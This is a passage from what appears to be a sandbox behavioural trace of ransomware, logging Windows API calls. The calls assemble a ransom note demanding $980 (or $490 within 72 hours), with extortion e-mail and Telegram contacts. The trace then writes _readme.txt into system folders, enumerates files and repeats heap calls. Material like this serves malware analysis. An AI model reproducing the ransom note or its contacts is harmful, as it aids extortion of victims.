$490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.522] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.522] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.522] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.522] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3080660 | out: hHeap=0x5e0000) returned 1 [0119.522] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3095780 | out: hHeap=0x5e0000) returned 1 [0119.522] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.522] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.522] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.522] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.522] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.522] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.522] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.522] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.523] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.523] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.523] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.523] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.523] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.523] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.523] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.523] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.523] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.523] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.523] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.523] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.523] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.523] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.523] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.523] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.523] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.523] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.523] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.523] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.523] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.523] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.523] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.523] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.523] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.523] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.523] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.523] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.523] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.523] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.523] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.524] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.524] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.526] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, 